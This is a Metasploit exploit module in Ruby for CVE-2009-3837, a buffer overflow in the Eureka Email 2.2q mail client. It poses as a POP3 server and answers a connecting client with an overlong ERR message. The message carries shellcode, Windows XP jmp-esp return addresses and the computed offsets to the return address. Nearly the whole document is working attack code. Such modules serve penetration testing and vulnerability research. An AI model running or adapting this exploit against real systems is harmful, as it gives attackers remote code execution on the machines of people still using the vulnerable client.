Eureka Email 2.2q ERR Remote Buffer Overflow Exploit

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',  
# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1  
# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address  
'Description' => %q{  
This module exploits a buffer overflow in the Eureka Email 2.2q  
client that is triggered through an excessively long ERR message.  
  
NOTE: this exploit isn't very reliable. Unfortunately reaching the   
vulnerable code can only be done when manually checking mail (Ctrl-M).  
Checking at startup will not reach the code targeted here.  
},  
'Author' =>  
[  
'Francis Provencher (Protek Research Labs)',  
'Dr_IDE',  
'dookie',  
'jduck'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7811 $',  
'References' =>  
[  
[ 'CVE', '2009-3837' ],  
[ 'OSVDB', '59262 ' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 700,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll  
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
# the offset to eip depends on the local ip address string length...  
already = "Your POP3 server had a problem.\n"  
already << datastore['LHOST']  
already << " said:\n\n -ERR "  
space = (512+256+4) - already.length  
  
buffer = "-ERR "  
buffer << make_nops(space - payload.encoded.length)  
buffer << payload.encoded  
buffer << [target.ret].pack('V')  
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string  
buffer << "\r\n"  
  
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")  
client.put(buffer)  
  
handler  
service.close_client(client)  
end  
  
end  
`